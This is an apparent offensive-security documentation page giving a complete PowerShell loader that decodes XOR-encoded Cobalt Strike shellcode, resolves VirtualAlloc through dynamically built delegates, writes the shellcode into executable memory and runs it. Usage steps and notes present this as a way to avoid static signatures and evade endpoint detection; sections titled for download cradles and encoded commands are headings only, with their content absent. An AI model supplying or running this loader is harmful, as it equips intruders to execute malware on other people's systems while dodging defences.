For the complete documentation index, see llms.txt. This page is also available as Markdown.

PowerShell Shellcode Loader

Reflective PowerShell loader for Cobalt Strike shellcode. Uses dynamic delegate creation to avoid static imports.


Usage

  1. Generate shellcode in Cobalt Strike: Attacks > Packages > Payload Generator

  2. Select listener and output format (Raw or Base64)

  3. XOR encode the shellcode (key: 35 in this example)

  4. Replace the base64 string in $v variable


Loader (x64)

Set-StrictMode -Version 2

function func_get_proc_address {
    param(
        [string]$var_module,
        [string]$var_procedure
    )
  
    Add-Type @"
using System;
using System.Runtime.InteropServices;
  
public static class NativeMethods {
    [DllImport("kernel32", SetLastError=true)]
    public static extern IntPtr GetModuleHandle(string moduleName);
  
    [DllImport("kernel32", SetLastError=true)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
}
"@
    $hModule = [NativeMethods]::GetModuleHandle($var_module)
    if ($hModule -eq [IntPtr]::Zero) { return $null }
    $ptr = [NativeMethods]::GetProcAddress($hModule, $var_procedure)
    return $ptr
}

function func_get_delegate_type {
    param(
        [Parameter(Mandatory=$true)]
        [Type[]] $var_parameters,
        [Type] $var_return_type = [Void]
    )

    $assemblyName = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
    $assemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
        $assemblyName,
        [System.Reflection.Emit.AssemblyBuilderAccess]::Run
    )

    $moduleBuilder = $assemblyBuilder.DefineDynamicModule('InMemoryModule', $false)

    $typeBuilder = $moduleBuilder.DefineType(
        'MyDelegateType',
        'Class, Public, Sealed, AnsiClass, AutoClass',
        [System.MulticastDelegate]
    )

    $ctor = $typeBuilder.DefineConstructor(
        'RTSpecialName, HideBySig, Public',
        [System.Reflection.CallingConventions]::Standard,
        $var_parameters
    )
    
    $ctor.SetImplementationFlags('Runtime, Managed')

    $invokeMethod = $typeBuilder.DefineMethod(
        'Invoke',
        'Public, HideBySig, NewSlot, Virtual',
        $var_return_type,
        $var_parameters
    )

    $invokeMethod.SetImplementationFlags('Runtime, Managed')

    return $typeBuilder.CreateType()
}

If ([IntPtr]::size -eq 8) {
    # Replace with your XOR-encoded (key=35) base64 shellcode
    [Byte[]]$v = [System.Convert]::FromBase64String('YOUR_BASE64_SHELLCODE_HERE')

    # XOR decode
    $i = 0
    while (-not ($i -ge $v.Count)) {
        $v[$i] = $v[$i] -bxor 35
        $i += 1
    }

    # Get pointer to VirtualAlloc
    $va_ptr = func_get_proc_address "kernel32.dll" "VirtualAlloc"
    if ($va_ptr -eq [IntPtr]::Zero) {
        throw "GetProcAddress failed for VirtualAlloc"
    }

    # Build delegate type: (IntPtr, UInt32, UInt32, UInt32) -> IntPtr
    $va_delegate_type = func_get_delegate_type `
        @([IntPtr], [UInt32], [UInt32], [UInt32]) `
        ([IntPtr])

    # Convert pointer to delegate
    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        $va_ptr,
        $va_delegate_type
    )

    # Allocate RWX memory
    $var_buffer = $var_va.Invoke(
        [IntPtr]::Zero,
        $v.Length,
        0x3000,   # MEM_COMMIT | MEM_RESERVE
        0x40      # PAGE_EXECUTE_READWRITE
    )

    if ($var_buffer -eq [IntPtr]::Zero) {
        throw "VirtualAlloc returned NULL"
    }

    # Copy shellcode to allocated memory
    [System.Runtime.InteropServices.Marshal]::Copy($v, 0, $var_buffer, $v.Length)

    # Create delegate for shellcode entry point
    $runme_delegate_type = func_get_delegate_type @([IntPtr]) ([Void])
    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        $var_buffer,
        $runme_delegate_type
    )

    # Execute shellcode
    $var_runme.Invoke([IntPtr]::Zero)
}

XOR Encoding Helper

Encode your raw shellcode before base64 encoding:


Execution Methods

Direct Execution

Download Cradle

Encoded Command


Notes

  • Only works on x64 systems (check [IntPtr]::size -eq 8)

  • XOR key can be changed (update both encoder and decoder)

  • Uses dynamic type creation to avoid static P/Invoke signatures

  • VirtualAlloc allocates RWX memory (may trigger some EDR)

Last updated